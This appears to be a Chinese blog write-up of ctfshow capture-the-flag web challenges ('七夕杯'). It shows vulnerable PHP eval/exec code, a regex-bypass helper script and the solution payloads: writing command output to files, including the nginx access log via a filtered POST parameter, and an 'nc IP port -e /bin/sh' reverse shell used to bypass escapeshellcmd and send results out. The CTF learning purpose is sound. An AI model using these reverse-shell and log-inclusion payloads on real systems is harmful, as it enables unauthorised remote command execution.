• ctfshow web七夕杯


    web签到

    在这里插入图片描述
    执行命令没有回显,我们直接写文件就可以了
    在这里插入图片描述
    字符长度限制

    ls />a
    nl /*>a
    

    访问url/api/a下载文件
    在这里插入图片描述
    在这里插入图片描述

    easy_calc

    
    
    
    if(check($code)){
    
        eval('$result='."$code".";");
        echo($result);    
    }
    
    function check(&$code){
    
        $num1=$_POST['num1'];
        $symbol=$_POST['symbol'];
        $num2=$_POST['num2'];
    
        if(!isset($num1) || !isset($num2) || !isset($symbol) ){
            
            return false;
        }
    
        if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
            return false;
        }
    
        if(preg_match("/^[\+\-\*\/]$/", $symbol)){
            $code = "$num1$symbol$num2";
            return true;
        }
    
        return false;
    }
    

    正则EXP

    
    
    $pattern = "/!|@|#|\\$|%|\\^|&|\\(|_|=|{|}|'|<|>|\\?|\\?|\\||`|~|\\[/";
    
    // 所有可能的字符,包括特殊字符、大小写字母和数字
    $all_chars = array_merge(
        range('!', '/'),   // 特殊字符
        range(':', '@'),   // 特殊字符
        range('[', '`'),   // 特殊字符
        range('{', '~'),   // 特殊字符
        range('0', '9'),   // 数字
        range('A', 'Z'),   // 大写字母
        range('a', 'z')    // 小写字母
    );
    
    $unmatched_chars = [];
    
    foreach ($all_chars as $char) {
        if (!preg_match($pattern, $char)) {
            $unmatched_chars[] = $char;
        }
    }
    
    if (empty($unmatched_chars)) {
        echo "所有字符都被匹配了。\n";
    } else {
        echo "未匹配到的字符有:\n";
        foreach ($unmatched_chars as $char) {
            echo $char . " ";
        }
        echo "\n";
    }
    
    ?>
    

    第一个正则

    " ) * + , - . / : ; \ ] } 这些字符还都可以使用
    大小写字母和数字也都可以使用
    

    第二个正则

    ! " # $ % & ' ( ) , . : ; < = > ? @ [ \ ] ^ _ ` { | } ~ 
    大小写字母和数字
    
    POST:
    num1=1;include "/var/log/nginx/access.log";&symbol=-&num2=1
    
    UA:
    
    
    

    包含日志文件
    在这里插入图片描述

    easy_cmd

    
    
    error_reporting(0);
    highlight_file(__FILE__);
    
    $cmd=$_POST['cmd'];
    
    if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
            exec(escapeshellcmd($cmd));
    }
    ?>
    
    escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
    
    反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
    

    进行转义之后就会进行shell命令但是不能使用带参数的命令
    那么我们就反弹shell

    POST:
    cmd=nc IP port -e /bin/sh
    

    然后监听端口进行rce即可
    我重新自己写了一遍发现还会有这种情况就是,链接上就断开了,这种情况呢我们就外带命令执行结果

    cmd=nc IP port -e ls /
    

    这种情况呢每一次都会改变靶场vps端口

    easy_sql

    欠着

  • 相关阅读:
    MySQL8.0优化 - 锁 - 按加锁的方式划分:显示锁、隐式锁
    Vue2-生命周期
    王道机试C++第 4 章 字符串:字符串内容详解及三个小程序 Day29
    linux服务器在后台运行程序
    【Shell 脚本速成】03、Shell 脚本实战案例(一)数据磁盘初始化
    SW的stp文件转成CAD格式文件学习笔记
    Shell | 获取下级文件夹 / 文件目录列表
    maven打包时和 deploy时候将不会 依赖包含在生成的项目 jar中方法
    创新发展,科技制胜 | 云扩科技入选“2022中小企业智能化解决方案提供商TOP10”
    微信小程序商城迅速流行的决定因素
  • 原文地址:https://blog.csdn.net/2301_81040377/article/details/139700474